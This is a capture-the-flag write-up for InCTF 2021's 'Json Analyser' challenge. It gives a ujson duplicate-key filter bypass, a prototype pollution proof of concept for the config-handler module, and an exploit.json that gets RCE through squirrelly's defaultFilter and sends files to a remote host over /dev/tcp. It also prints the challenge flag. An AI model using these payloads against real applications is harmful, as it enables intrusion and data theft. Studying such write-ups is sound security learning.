Json Analyser - InCTF Internationals 2021

tl;dr

• Json_Interoperability - /verify_roles?role=supersuperuseruser\ud800","name":"admin
• Prototype_Pollution - {"constructor":{"prototype":{"test":"123"}}} in config-handler

Challenge points: 1000
Challenge Author: 1nt3rc3pt0r
Source Code: here

Challenge Description

Welcome to JSON Analyser. Verify your role and get Subscription ID. Then start looking into your dump json file.

Solution

Part - I:

Looking into the source, one can find that the player has to get subscription_code first inorder to upload a Json file.

if "superuser" in role:
    role=role.replace("superuser",'')
if " " in role:
    return "n0 H3ck1ng"
if len(role)>30:
    return "invalid role"
data='"name":"user","role":"{0}"'.format(role)
no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
if(no_hecking)==None:
    return "bad data :("
if no_hecking == "superuser":
    return "n0 H3ck1ng"
data='{'+data+'}'
try:
    user_data=ujson.loads(data)
except:
    return "bad format"

The goal is to bypass waf and get subscription_code.

Payload:

• /verify_roles?role=supersuperuseruser\ud800","name":"admin
• This happens because of Character Truncation while using ujson and last-key precedence when duplicate keys exists. read_more_about_this

Part - II:

After retrieving subscription_code, players can now upload their json file providing subscription_code and get it’s preview

if(req.body.pin !== "673307-0496-1001122"){
    return res.send('bad pin')
}
if (!req.files || Object.keys(req.files).length === 0) {
  return res.status(400).send('No files were uploaded.');
}
uploadFile = req.files.uploadFile;
uploadPath = __dirname + '/package.json' ;
uploadFile.mv(uploadPath, function(err) {
    if (err)
        return res.status(500).send(err);
    try{
        var config = require('config-handler')();
    }
    catch(e){
        const src = "package1.json";
        const dest = "package.json";
        fs.copyFile(src, dest, (error) => {
            if (error) {
                console.error(error);
                return;
            }
            console.log("Copied Successfully!");
        });
        return res.sendFile(__dirname+'/static/error.html')
    }

as you can see package.json file is replaced with uploaded file and then it’s been loaded by var config = require('config-handler')();

config-handler is vulnerable to Prototype_Pollution

poc.json

{
"constructor":{
    "prototype":
        {"test":"works"}
    }
}

poc.js

const express = require('express');
const app = express();
port = 8081

app.get('/', function (req, res) {
    const config = require('config-handler')();
    console.log(test)
    console.log(config)
});
var server= app.listen(port, () => {
    console.log(`Example app listening at http://localhost:${port}`)
});

Part - III:

From the Dockerfile it’s clear that user needs to get RCE inorder to retrieve flag. Now players need to Leverage the Prototype Pollution in config-handler to gain RCE using squirrelly-js module.

exploit.json

{
    "name": {
      "__proto__":{
         "defaultFilter" : "e'));process.mainModule.require('child_process').execSync('/bin/bash -c \\'cat /* > /dev/tcp/<ip>/<port>\\'')//"
      }
     },
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "dependencies": {
      "config-handler": "^2.0.3",
      "express": "^4.17.1",
      "express-fileupload": "^1.2.1",
      "nodemon": "^2.0.12",
      "squirrelly": "^8.0.8"
    },
    "devDependencies": {},
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1"
    },
    "author": "",
    "license": "ISC"
 }

Why defaultFilter? see_here

Flag:

inctf{Pr0707yp3_P011u710n5_4r3_D34dly}